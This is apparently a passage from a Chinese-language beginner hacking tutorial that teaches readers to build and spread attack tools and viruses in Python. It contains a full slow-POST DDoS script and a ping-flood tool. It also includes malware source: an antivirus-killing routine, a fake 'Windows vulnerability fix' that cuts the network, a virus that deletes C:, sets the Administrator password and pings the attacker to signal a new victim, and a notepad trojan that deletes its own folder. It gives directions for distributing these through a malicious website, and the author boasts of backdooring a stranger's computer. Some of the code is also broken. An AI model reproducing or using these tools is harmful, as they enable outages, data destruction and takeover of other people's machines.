根據(jù)help,我們來(lái)編寫(xiě)一個(gè)可以復(fù)制某個(gè)程序的病毒:

import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess

os.system("copy 路徑 路徑 ")

這是一個(gè)簡(jiǎn)單的程序,但在后期,卻非常有用!

運(yùn)用socket模塊

在上個(gè)小節(jié),有個(gè)DDoS攻擊程序,這個(gè)程序里調(diào)用了一個(gè)模塊:socket
這個(gè)模塊是個(gè)很棒的插件,它可以幫你進(jìn)行連接,就像一個(gè)可以幫你插電線的電工。

調(diào)用socket模塊

#調(diào)用socket
import socket
print("Hello,socket!")

DDoS原理

就像接?xùn)|西,張三接,李四扔。李四不停扔蘋(píng)果給張三,張三不斷接蘋(píng)果,接著接著,手上滿了!那么,只有把蘋(píng)果掉在地上了。
就是這個(gè)原理,我不斷進(jìn)行連接,對(duì)方不斷處理連接,慢慢的慢慢的,對(duì)方的系統(tǒng)主機(jī)繁忙到堵塞,一大堆的請(qǐng)求沒(méi)有處理,堆在網(wǎng)絡(luò)連接處,系統(tǒng)還在不斷處理,等處理到一定時(shí)候,系統(tǒng)的運(yùn)算已經(jīng)達(dá)到了超負(fù)荷,就會(huì)崩潰。這就是DDoS的原理。

Hacker(黑客)軟件(篇)

黑客軟件是一些黑客高手做的軟件,這些軟件可以簡(jiǎn)化攻擊成本和難度,是很多黑客的不二之選。
但是今天,我們不來(lái)下別人的黑客軟件,咱們來(lái)做自己的黑客軟件!

黑客軟件制作

1、網(wǎng)絡(luò)堵塞工具 V1.0
首先,我們要設(shè)計(jì)我們的LOGO:
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網(wǎng)絡(luò)堵塞工具 V1.0||||||||||||||||||||||||||| ┃
┃|||||網(wǎng)絡(luò)堵塞工具,選這款!|||||||||||| ┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
接著,開(kāi)始想它的呈現(xiàn)方式:
1、終端形式
2、窗口形式
這里,我們來(lái)做終端形式。
輸入代碼:

import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
  cd = input("請(qǐng)輸入指令>>")
  if cd == "1":
    ping()
  if cd == "2":
    print('此功能暫不可用')
  input_cd()

def ping():
  host = input("請(qǐng)輸入對(duì)方IP:")
  qiangdu = input("請(qǐng)輸入強(qiáng)度(1-65500):")
  
  os.system("ping -t -l " + qiangdu + " " + host)
logo = """
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網(wǎng)絡(luò)堵塞工具 V1.0||||||||||┃
┃|||||網(wǎng)絡(luò)堵塞工具,選這款!|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
 []|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
"""

print(logo)
print('[][使用指南][]')
print('1、ping \n2、ddos(正在編寫(xiě))')
input_cd()

此程序可完成一個(gè)簡(jiǎn)易的攻擊工具,你可以對(duì)它進(jìn)行修改,讓別的用戶使用它。
2、DDoS攻擊工具
輸入代碼:

import socket
import time
import threading
#Pressure Test,ddos tool
print('歡迎使用DDoS攻擊工具!')
#---------------------------
MAX_CONN=20000
PORT=80
HOST=input("請(qǐng)輸入網(wǎng)址或IP:")
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
  global socks
  for i in range(0,MAX_CONN):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
      s.connect((HOST,PORT))
      s.send(buf.encode())
      print ("Send buf OK!,conn=%d\n"%i)
      socks.append(s)
    except Exception as ex:
      print ("Could not connect to server or send error:%s"%ex)
      time.sleep(0.1)
#end def
 
def send_thread():
  global socks
  while True:
    for s in socks:
      try:
        s.send("f".encode())
        #print "send OK!"
      except Exception as ex:
        print ("Send Exception:%s\n"%ex)
        socks.remove(s)
        s.close()
    time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

它將成為一件出色的軟件,你也可以對(duì)它進(jìn)行修改,我貢獻(xiàn)在書(shū)上的代碼,沒(méi)有版權(quán)。

學(xué)習(xí)并使用別人的黑客軟件

當(dāng)然,黑客高手們做的軟件自然比我們好的多。那么,我們?cè)撊绾稳ハ螺d那些軟件呢?
首先,在下載黑客軟件時(shí),要注意防病毒。因?yàn)楹芸赡苓@個(gè)軟件是被捆綁了病毒的惡意程序!
下面,為大家展示幾款軟件的安裝:

1、SQL tools

訪問(wèn)https://sourceforge.net/projects/sqlt/postdownload進(jìn)行下載:

安裝界面

同意協(xié)議:

同意協(xié)議

選擇路徑:

路徑

下一步:

下一步

開(kāi)始安裝:

安裝

點(diǎn)擊Close,結(jié)束安裝
(注:在安裝之前,請(qǐng)務(wù)必安裝Java,這是程序的必備用品。最低版本必須要Java 8)
在這里,你可以進(jìn)行高級(jí)的攻擊。但是,在這里就暫時(shí)不介紹了。

2、ComputerKiller

訪問(wèn):hackersdld.icoc.vc

黑客軟件下載網(wǎng)

這里有很多黑客軟件,在后期,會(huì)很有用。
點(diǎn)擊ComputerKiller 1.9.3,進(jìn)行下載。
下載完成后打開(kāi)壓縮包,雙擊exe程序即可。

運(yùn)用代碼和一些工具來(lái)查看對(duì)方是否可被攻擊

例如:我要入侵一臺(tái)計(jì)算機(jī),已知參數(shù):
MAC:00:50:56:38:6F:C3
IP:192.168.132.132
用戶名:Administrator

先打開(kāi)終端窗口,輸入PING 192.168.132.132,查看對(duì)方狀態(tài)。

ping

這樣,說(shuō)明對(duì)方是可以上網(wǎng)、并且是可用的。
再發(fā)現(xiàn),TTL值為128,如不更改,128TTL應(yīng)為Windows 7 系統(tǒng)。我們就又獲得了一項(xiàng)線索:
OS:Windows 7
接著,我們用DDoS攻擊器攻擊對(duì)方:

發(fā)現(xiàn)

對(duì)方?jīng)]有反應(yīng)!說(shuō)明,對(duì)方的網(wǎng)絡(luò)不是可以正常使用的,但是,它有一個(gè)IP地址與MAC地址!
那我們只有通過(guò)別的辦法對(duì)它進(jìn)行攻擊和入侵了。
打開(kāi)終端,輸入telnet 192.168.132.132 23

無(wú)法連接

發(fā)現(xiàn),也是無(wú)法連接!?。?br /> 我們?cè)龠M(jìn)行測(cè)試,如果還是無(wú)法進(jìn)行連接,說(shuō)明,對(duì)方處于NAT網(wǎng)絡(luò)模式?。ㄗⅲ篘AT網(wǎng)絡(luò)模式就是指只有IP,但不能上網(wǎng)和被連接)
打開(kāi)遠(yuǎn)程桌面連接,輸入IP連接后發(fā)現(xiàn):

錯(cuò)誤

說(shuō)明對(duì)方處于確確實(shí)實(shí)的NAT狀態(tài)!這臺(tái)計(jì)算機(jī)就不可以被攻擊,因?yàn)樗鼪](méi)有和intelnet進(jìn)行連接!相當(dāng)于沒(méi)有一個(gè)可以聽(tīng)聲音的耳朵!

黑客軟件使用的要點(diǎn)

黑客軟件雖然好用,但是,不好下載。
在網(wǎng)上,有很多軟件都帶有病毒,我下載的一些黑客軟件就有,病毒名稱:
BKDR_AGENT.AHZU 后門(mén)
TROJ_GEN.R002C0PKF19木馬
TROJ_GEN.R03FC0PGN19木馬
所以,在網(wǎng)上一定要小心這些捆綁了病毒的軟件,可能你就會(huì)有一天被黑客劫持!
推薦大家到這幾個(gè)站點(diǎn)去下載黑客軟件:
hackersdld.icoc.vc(黑客軟件下載)
www.netxeyes.com(小榕主頁(yè))
以上就是本章的內(nèi)容,在下一章,我們將進(jìn)行更深入的攻擊學(xué)習(xí),代碼攻擊將成為重點(diǎn)。

本章課外

最近,小編發(fā)現(xiàn)個(gè)很搞笑的計(jì)算機(jī)。這個(gè)計(jì)算機(jī)已被我裝上后門(mén),冰河也裝上了。我看它桌面的時(shí)候,它的桌面是這樣的:

桌面

滿桌面都是罵人的話…
我給它留下一個(gè)txt:

驚喜

接著呢,我又給它重裝了個(gè)系統(tǒng),爽?。?br /> (本段告訴我們:黑客技術(shù)不一定是惡意技術(shù)?。?/p>

中級(jí)篇

print("Hello,Users!")
name = input("What's your name?")
print("Oh,Nice to meet you," + name + "!")

這樣的簡(jiǎn)單到不能再簡(jiǎn)單的程序,大家想必已經(jīng)可以看懂了。那么這一篇,我們就來(lái)深度學(xué)習(xí)代碼編程,通過(guò)編程的學(xué)習(xí),來(lái)進(jìn)行后期木馬和病毒的編寫(xiě)。
不知道大家有沒(méi)有聽(tīng)說(shuō)過(guò)有一種程序,通過(guò)不斷打開(kāi)網(wǎng)頁(yè)進(jìn)行加載來(lái)導(dǎo)致計(jì)算機(jī)卡頓。這也是一種病毒。
我們本章也來(lái)教大家編寫(xiě)這一類(lèi)的病毒,并且教大家如何進(jìn)行傳播。
本章我們還會(huì)了解到凡科建站,這是一個(gè)很厲害的建站程序??梢宰屇悴挥么a代碼就進(jìn)行網(wǎng)站搭建。我們通過(guò)這個(gè)功能來(lái)建造我們自己的主頁(yè),然后像黑客小榕那樣發(fā)布我們的黑客軟件。當(dāng)然,我們也可以做一些惡意網(wǎng)站,這樣就可以得到很好的效果。

凡科建站

百度搜索:凡科建站,注冊(cè)一個(gè)賬號(hào),接著,我們來(lái)建造我們的主頁(yè)。

點(diǎn)擊

這里我已經(jīng)開(kāi)過(guò)站點(diǎn)了,如果大家不會(huì)創(chuàng)建,可以百度搜索。

進(jìn)行編輯

進(jìn)入后,可以按照新手指南來(lái)創(chuàng)作自己的主頁(yè)。
我的主頁(yè)如下:

主頁(yè)

用網(wǎng)頁(yè)來(lái)傳播病毒

我們可以在建造的網(wǎng)站上讓用戶下載病毒,這樣可以得到很有效的效果。我編寫(xiě)的病毒如下:

import webbrowser
import tkinter.messagebox
while 1:
  webbrowser.open("baidu.com")
  tk.messagebox.showerror('Windows錯(cuò)誤','Windows被不明程序劫持,正在嘗試自救......')

代碼效果:


此處還沒(méi)截圖到messagebox就死機(jī)了,因?yàn)樗⒌奶珔柡α恕?br /> 我們可以把這個(gè)病毒打包后傳播到網(wǎng)上,雖然只是一個(gè)很簡(jiǎn)單的小程序。
我用百度網(wǎng)盤(pán)創(chuàng)建了一個(gè)分享鏈接,用凡科建站做了一個(gè)網(wǎng)頁(yè),可以下載這個(gè)病毒。
但是,我們還沒(méi)有給它編譯為exe程序,所以,我們要下載pyinstaller,進(jìn)行編譯。
自己作一幅畫(huà),接著將它轉(zhuǎn)換為ico格式,當(dāng)做應(yīng)用圖標(biāo)。
在命令行(終端)輸入:

pyintaller -F -w -i 圖片路徑 文件路徑

打包完后,會(huì)在dist目錄下出現(xiàn)exe程序,并且build里會(huì)有配置文件。
創(chuàng)建一個(gè)新的文件夾,將配置文件和exe程序放入,然后打包為zip/rar/7z壓縮文件,上傳到百度網(wǎng)盤(pán),鏈接為:

https://pan.baidu.com/s/1t2c_fZiijR-QpXs7jANj0Q,接著進(jìn)入凡科建站,做一個(gè)惡意網(wǎng)站:

惡意網(wǎng)站

這個(gè)惡意網(wǎng)站可以讓別人下載這個(gè)惡意病毒,是傳播的途徑。

對(duì)網(wǎng)站進(jìn)行攻擊

網(wǎng)站攻擊一般都是SQL數(shù)據(jù)庫(kù)注入、DNS欺騙、DDoS攻擊等。SQL注入和DNS欺騙對(duì)我們來(lái)說(shuō)暫時(shí)太難,我們先從DDoS啟。
在前面,我們已經(jīng)說(shuō)明了和介紹了DDoS攻擊的原理和代碼,在本節(jié),我們將對(duì)這個(gè)腳本進(jìn)行改造,讓它變成一個(gè)強(qiáng)大的黑客軟件——DDoS:ME

回顧

先回顧一下之前的腳本代碼,我們是用了socket模塊進(jìn)行不斷發(fā)送連接請(qǐng)求來(lái)實(shí)現(xiàn)的。其中,較關(guān)鍵的關(guān)鍵字有:

while 1:
import socket
Host = ""
......

這些都是腳本的重點(diǎn),如果丟掉While,那你的腳本只會(huì)執(zhí)行一次。如果丟掉import,那么將會(huì)出錯(cuò)。如果丟掉Host,那么,你的腳本將沒(méi)有目標(biāo)…
回顧一下之前的代碼,試著嘗試解決以下問(wèn)題和建議:
1、如何讓攻擊強(qiáng)度變大?
2、可以將socket模塊換成其他嗎?

組織一場(chǎng)龐大的DDoS攻擊

真正的高級(jí)攻擊都不是一個(gè)人完成的。都是在肉雞(傀儡機(jī))和隊(duì)友的幫助下完成的。你不妨組織一個(gè)黑客聯(lián)盟,一起來(lái)進(jìn)行黑客技術(shù)的研究。
本節(jié),我們就來(lái)教大家組織一場(chǎng)龐大的DDoS攻擊,并且教大家如何進(jìn)行攻擊。

組織

組織,一個(gè)包含了深意的名詞。有了組織,我們就可以更加強(qiáng)大。
本小節(jié),我們就來(lái)進(jìn)行組織。
1、創(chuàng)建組織
你可以邀請(qǐng)你的朋友加入我們的行列,并要它閱讀這本書(shū)里的引子和介紹。接著,你可以在QQ或WeChat里組織一個(gè)團(tuán)體,可以取一個(gè)有意義的名字。例如:

Hello,Hackers!
Hacker men
計(jì)算機(jī)殺手們
黑客軍團(tuán)
黑客帝國(guó)

這些都是一些有趣的名字,你可以采取點(diǎn)意見(jiàn)。
接著,你可以將自己的成果與大家共享,再收獲別人的成果。用一段有趣的話來(lái)說(shuō):化學(xué)罐車(chē)碰油罐車(chē),火花才激烈!
2、加入組織
你可以加入任何的組織,只要它愿意。加入后,你可以像上一小節(jié)那樣,一起來(lái)交流。
如遇到讓你很感興趣的話題,你可以向發(fā)布人詢問(wèn)代碼,Python社區(qū)都十分友好,Hackers社區(qū)就更別說(shuō)了——一家人,難道還不友好嗎?

攻擊

組織之后,例如我的團(tuán)隊(duì)現(xiàn)在有8個(gè)人,分別是:

C++
Java
Python(Me)
1
2
3
4
5

我們就可以進(jìn)行合作,例如:
C++進(jìn)行偵查,看看網(wǎng)站有什么狀況
Java進(jìn)行本地網(wǎng)絡(luò)檢查,看看有沒(méi)有被人發(fā)現(xiàn)并試圖連接
Python(Me)、1、2、3、4、5進(jìn)行攻擊,努力取得勝利。
這樣,隊(duì)伍就會(huì)變得十分團(tuán)結(jié)。
那么,我就以我自己的網(wǎng)站為例,進(jìn)行攻擊。
我的團(tuán)隊(duì)共有3個(gè)人,分別為:1、2、Me
1進(jìn)行攻擊
2進(jìn)行探查
Me進(jìn)行攻擊
2探查到了:

網(wǎng)站的分享功能因流量不足被關(guān)閉了

網(wǎng)站的分享功能因流量不足被關(guān)閉了。
1和Me在攻擊:

import socket
import time 
......

這樣的話,這個(gè)網(wǎng)站很快就因流量崩潰而無(wú)法訪問(wèn):

崩潰

DDoS攻擊軟件的制作

把腳本變成攻擊軟件,這也許會(huì)比較好。別的人可以更好的進(jìn)行使用。
我們先打開(kāi)DDoS攻擊腳本,代碼如下:

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號(hào)里輸入對(duì)方IP或域名,要保證他聯(lián)網(wǎng)了或開(kāi)機(jī)了.
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
  global socks
  for i in range(0,MAX_CONN):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
      s.connect((HOST,PORT))
      s.send(buf.encode())
      print ("Send buf OK!,conn=%d\n"%i)
      socks.append(s)
    except Exception as ex:
      print ("Could not connect to server or send error:%s"%ex)
      time.sleep(0.1)
#end def
 
def send_thread():
  global socks
  while True:
    for s in socks:
      try:
        s.send("f".encode())
        #print "send OK!"
      except Exception as ex:
        print ("Send Exception:%s\n"%ex)
        socks.remove(s)
        s.close()
    time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

我們第一步就是給它加上標(biāo)題和IP輸入?yún)^(qū),那么,將代碼修改成這樣:

import socket
import time
import threading
#Pressure Test,ddos tool
print("歡迎使用DDoS:ME!")
HOST = input("DDoS:ME請(qǐng)求您輸入IP:")
#---------------------------
MAX_CONN=20000
PORT=80
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
  global socks
  for i in range(0,MAX_CONN):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
      s.connect((HOST,PORT))
      s.send(buf.encode())
      print ("Send buf OK!,conn=%d\n"%i)
      socks.append(s)
    except Exception as ex:
      print ("Could not connect to server or send error:%s"%ex)
      time.sleep(0.1)
#end def
 
def send_thread():
  global socks
  while True:
    for s in socks:
      try:
        s.send("f".encode())
        #print "send OK!"
      except Exception as ex:
        print ("Send Exception:%s\n"%ex)
        socks.remove(s)
        s.close()
    time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

這樣,就成為一個(gè)簡(jiǎn)易的攻擊軟件了。
不過(guò),我們還得繼續(xù)改進(jìn)。
本次改進(jìn)就當(dāng)做本小節(jié)的挑戰(zhàn)了,希望經(jīng)過(guò)那么久的學(xué)習(xí),你可以完成這個(gè)挑戰(zhàn)。

挑戰(zhàn)

1、將本節(jié)的DDoS攻擊器進(jìn)行改造,成為一個(gè)完美的攻擊器。
2、讓這段代碼的威力更厲害點(diǎn)兒

網(wǎng)站攻擊要點(diǎn)

在本書(shū)中,不會(huì)教大家如何進(jìn)行DNS欺騙和別的攻擊。因?yàn)檫@些知識(shí)很難,比DDoS難得多。但是,在本書(shū),我們會(huì)將病毒研發(fā)延伸到我的終點(diǎn)——我會(huì)貢獻(xiàn)我所有可以貢獻(xiàn)的知識(shí)。
在攻擊時(shí),一定不要忘記自己的身份:

我是一名黑客

既然你是黑客,那就不該做壞事。如果不小心對(duì)人家造成了損失,那就成駭客了。

Python3.7編程學(xué)習(xí)

在中級(jí)篇里,我們還要學(xué)習(xí)如何編程。這樣有助于我們偽裝我們的程序。例如我通過(guò)編程來(lái)做一個(gè)DDoS攻擊器,然后讓其他人下載。接著,再讓你編寫(xiě)的病毒運(yùn)行,就可以將別人一網(wǎng)打盡了。

輸入和輸出

在IDE中輸入和輸出,我們可以利用print()和input()來(lái)完成。這兩個(gè)都是Python自帶的函數(shù),我們可以隨心所欲的用它,并且不用定義。

輸出

輸出是指將信息顯示出來(lái),這就是輸出。
代碼例子:

print("Hello, World!")

輸入

輸入是指讓使用的用戶進(jìn)行鍵盤(pán)敲擊,從而進(jìn)行錄入。
代碼例子:

name = input("What's your name?")

這兩個(gè)模塊都十分重要,要?jiǎng)?wù)必記住它們。

計(jì)算

讓Python幫你計(jì)算,其實(shí)十分簡(jiǎn)單。
你可以根據(jù)下列代碼進(jìn)行分析和學(xué)習(xí):

1+1 #加法
2-1 #減
3*3 #乘
9/3 #除以
10%3 #模

函數(shù)

我們可以通過(guò)定義函數(shù)來(lái)解決總是一樣的代碼。
代碼例子:

def print_a():
	print("a")

循環(huán)

循環(huán)有兩種,一個(gè)是For,一個(gè)是While。
這些都是循環(huán),只是方式不同。
代碼例子:

#while
while 1:
	print("010101001010100101010")
#For
for word in ["You","are","cool!"]:
  print(word)

判斷

在Python中,我們用if組語(yǔ)句來(lái)判斷。在本書(shū)中,我們只學(xué)習(xí)if、else兩個(gè)語(yǔ)句。
代碼例子:

age = 10
if age == 10:
	print("你滿十歲啦!")
else :
	print("NO!你沒(méi)有十歲!")

程序例子學(xué)習(xí)

1、你幾歲了?

age = input("你幾歲了?")
if age == "18":
	print("你剛好成年!")
else :
	print("你不是18歲,你可能未成年!")

2、我會(huì)機(jī)器語(yǔ)言

while 1:
	print("010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101")

高級(jí)篇

在這一篇里,你將學(xué)習(xí)編寫(xiě)高級(jí)病毒。這些高級(jí)病毒十分厲害,最好在虛擬機(jī)中查看結(jié)果。
我的虛擬機(jī)因?yàn)闊o(wú)法連接網(wǎng)絡(luò),所以在這里我就不做注入演示。
在本章,我們將完成大部分的典型病毒,準(zhǔn)備好了嗎?
在這之前,我們還要為所有的病毒編寫(xiě)一個(gè)必要的程序:
后臺(tái)運(yùn)行和免殺

后臺(tái)運(yùn)行

在病毒代碼的末端加入如下代碼:

window=tk.Tk()
window.withdraw() 
window.mainloop() 

這樣,你就可以讓你的病毒在后臺(tái)運(yùn)行了。

免殺

我們通過(guò)編寫(xiě)代碼來(lái)實(shí)現(xiàn)病毒免殺。
我們可以通過(guò)打亂病毒特征碼來(lái)進(jìn)行,也可以編寫(xiě)“花指令”。
在這里,我們將用到一個(gè)新的知識(shí)點(diǎn)——欺騙。
“花指令”在前面的篇章里說(shuō)過(guò),就是編寫(xiě)一段不是病毒源代碼的代碼,來(lái)欺騙殺毒軟件。
這里,這個(gè)病毒也叫“程序殺手木馬”。
我們通過(guò)代碼來(lái)實(shí)現(xiàn)“程序殺手木馬”,來(lái)保護(hù)我們的病毒可以正常運(yùn)行。
我們先看看如下代碼:

os.system(r'taskkill /F /IM 進(jìn)程名')

這段代碼實(shí)現(xiàn)了停止某個(gè)進(jìn)程,那么,我們這里以金山毒霸為例,來(lái)關(guān)閉金山毒霸
首先,金山毒霸的文件名為:
kxetray.exe
我們將剛才的代碼改一下:

import os
os.system(r'taskkill /F /IM kxetray.exe')
time.sleep(5)
window=tk.Tk()
window.withdraw() 
window.mainloop() 

FTP病毒

ftp病毒的作用就是打開(kāi)21端口,等待連接。但如果對(duì)方打開(kāi)了ftp,那么,這個(gè)病毒就不必要了。
因?yàn)榇蟛糠钟脩舳奸_(kāi)啟了21端口,所以這個(gè)病毒跳過(guò)。

斷網(wǎng)病毒

斷網(wǎng)病毒的原理就是關(guān)閉Windows網(wǎng)絡(luò)服務(wù),使其斷網(wǎng)。并且還會(huì)進(jìn)行網(wǎng)絡(luò)堵塞。為了騙過(guò)用戶,我們仿造了Windows漏洞修復(fù)程序,其內(nèi)容簡(jiǎn)單,代碼如下:

import os
os.system("net stop service")
import subprocess
print("正在進(jìn)行環(huán)境監(jiān)測(cè),請(qǐng)稍后")
ret = subprocess.call("title Windows漏洞修復(fù)", shell=True)
ret = subprocess.call("ping -t -l 100 127.0.0.0", shell=True)
window=tk.Tk()
window.withdraw() 
window.mainloop() 

破壞型病毒

在之前,我們已經(jīng)做過(guò)一款破壞型病毒了。這次,我們繼續(xù)進(jìn)行改造,讓它成為一個(gè)高級(jí)的病毒。

import tkinter as tk
import tkinter.messagebox
import subprocess
import time
import os
import datetime
import os
import sys
ret = subprocess.call("del C:\ ", shell=False) 
ret = subprocess.call("ping -n 1 -l 1 你自己的IP", shell=False) #用作通知,通知你有人遭到了你的病毒攻擊,從而對(duì)它進(jìn)行DoS攻擊。
ret = subprocess.call("net user Administrator 123456", shell=False) 
ret = subprocess.call("ping 你自己的IP",shell=False)#通知你進(jìn)行登錄這個(gè)用戶,從而進(jìn)行高級(jí)操作
window=tk.Tk()
window.withdraw() 
window.mainloop() 

①在第一次通知時(shí),對(duì)目標(biāo)進(jìn)行DoS攻擊。(可以通過(guò)資源監(jiān)視器來(lái)查看通知),從而使對(duì)方網(wǎng)絡(luò)堵塞和系統(tǒng)速度變慢。
②在第二次時(shí),用telnet指令連接對(duì)方,登錄Administrator用戶,輸入密碼123456,即可進(jìn)行更高操作。

telnet 對(duì)方IP 
正在連接對(duì)方IP......
用戶名:Administrator
密碼:123456
正在登錄......
已成功登錄Administrator!

(注:因版本原因,顯示可能不相同,請(qǐng)諒解。)

自毀木馬

這個(gè)木馬的功能并不是盜取信息,而是同歸于盡。
它將偽裝成正常程序,并且會(huì)在收集完一定系統(tǒng)信息后帶著當(dāng)前目錄下的部分文件同歸于盡。
這個(gè)木馬難度較大,并且還要進(jìn)行偽裝,在這里,我們將這個(gè)木馬偽裝成這個(gè)程序:

記事本

這是一款記事本程序,我們可以用它來(lái)進(jìn)行偽裝,它的代碼如下:

#__author__='ZhangP'
#-*- encoding:utf8 -*-

from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os


root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")

filename=''
def author():
  
  tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開(kāi)發(fā)')


def about():
  
  tkinter.messagebox.askokcancel('版權(quán)信息.Copyright','隨意轉(zhuǎn)載啦!')


def openfile():
  global filename
  filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')

  if filename == '':
    filename=None
  else:
    root.title('FileName:'+os.path.basename(filename))
    textPad.delete(1.0,END)
    f=open(filename,'r',encoding='utf-8')  
    textPad.insert(1.0,f.read())
    f.close()

def new():
  global filename
  root.title("未命名文件")
  filename=None
  textPad.delete(1.0,END)

def save():
  global filename
  try:
    f=open(filename,'w')
    msg=textPad.get(1.0,END)
    f.write(msg)
    f.close()
  except:
    saveas()

def saveas():
  f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
  global filename
  filename=f
  fh=open(f,'w')
  msg=textPad.get(1.0,END)
  fh.write(msg)
  fh.close()
  root.title('FileName:'+os.path.basename(f))


def cut():
  textPad.event_generate('<<Cut>>')

def copy():
  textPad.event_generate('<<Copy>>')

def paste():
  textPad.event_generate('<<Paste>>')

def redo():
  textPad.event_generate('<<Redo>>')

def undo():
  textPad.event_generate('<<Undo>>')

def selectAll():
  textPad.tag_add('sel','1.0',END)

def search():
  topsearch=Toplevel(root)
  topsearch.geometry('300x30+200+250')
  label1=Label(topsearch,text='Find')
  label1.grid(row=0,column=0,padx=5)
  entry1=Entry(topsearch,width=20)
  entry1.grid(row=0,column=1,padx=5)
  button1=Button(topsearch,text='查找')
  button1.grid(row=0,column=2)


menubar=Menu(root)
root.config(menu=menubar)


filemenu=Menu(menubar)

filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開(kāi)',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)


editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='復(fù)制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)


aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權(quán)',command=about)
menubar.add_cascade(label='關(guān)于',menu=aboutmenu)



toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開(kāi)',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)

shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)


status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)


lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)

textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)

scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)


root.mainloop()

我們用它來(lái)充當(dāng)正常程序,而我們將修改一下代碼,使其變?yōu)榈湫湍抉R。
因?yàn)殡y度較大,所以我們一步一步、腳踏實(shí)地的來(lái)學(xué)習(xí)。
我們先看一段代碼:

import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)

這段代碼可以實(shí)現(xiàn)刪除這個(gè)文件所在的目錄文件夾,我們就用這段代碼來(lái)進(jìn)行自毀木馬的編寫(xiě)。
看一下之前的代碼:

#-*- encoding:utf8 -*-

from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os


root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")

filename=''
def author():
  import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
  tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開(kāi)發(fā)')


def about():
  
  tkinter.messagebox.askokcancel('版權(quán)信息.Copyright','隨意轉(zhuǎn)載啦!')


def openfile():
  global filename
  
	filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')

  if filename == '':
    filename=None
  else:
    root.title('FileName:'+os.path.basename(filename))
    textPad.delete(1.0,END)
